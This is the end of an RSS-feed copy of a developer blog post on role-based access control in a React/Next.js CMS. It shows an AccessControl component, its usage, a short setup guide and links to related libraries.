  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;checkPermissions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;currentPathPermissions&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;usePermission&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;permitted&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setPermitted&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;router&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useRouter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

  &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;isPermitted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;checkPermissions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nx"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;
        &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;allowedPermissions&lt;/span&gt;
        &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;currentPathPermissions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;setPermitted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isPermitted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;isPermitted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;noAccessMessage&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;noAccessMessage&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;redirectUrl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;redirectUrl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;// eslint-disable-next-line react-hooks/exhaustive-deps&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[])&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;permitted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;children&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;AccessControl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;defaultProps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;AccessControl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Usage
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;AccessControl&lt;/span&gt; &lt;span class="na"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;read&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Content&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;AccessControl&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;AccessControl&lt;/span&gt; &lt;span class="na"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;create&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;CreateButton&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;AccessControl&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Guide: Adding RBAC to CMS Features
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Add Role Groups:&lt;/strong&gt; Ensure relevant groups are defined in &lt;code&gt;/configs/roles/index.ts&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Configure Permission Policies:&lt;/strong&gt; Configure page or feature-level permissions in &lt;code&gt;/configs/policies/index.ts&lt;/code&gt; or similar.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use Access Control in Components:&lt;/strong&gt; Integrate HOCs or hooks to check for permissions within your components.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  References and Useful Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://levelup.gitconnected.com/access-control-in-a-react-ui-71f1df60f354" rel="noopener noreferrer"&gt;ReactJS - NextJS Authentication HOC Example&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/cornflourblue/react-role-based-authorization-example" rel="noopener noreferrer"&gt;React Role Based Authorization Example&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/rikhoffbauer/react-abac" rel="noopener noreferrer"&gt;Attribute Based Access Control for React&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/hackerart/nextjs-auth-hoc" rel="noopener noreferrer"&gt;Next.js Authentication HOC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/build-security/react-rbac-ui-manager" rel="noopener noreferrer"&gt;React RBAC UI Manager&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;By following these practices, you ensure your CMS remains secure, flexible, and easy to maintain as requirements evolve.&lt;/p&gt;

</description>
      <category>frontend</category>
      <category>webdev</category>
      <category>security</category>
      <category>javascript</category>
    </item>
  </channel>
</rss>
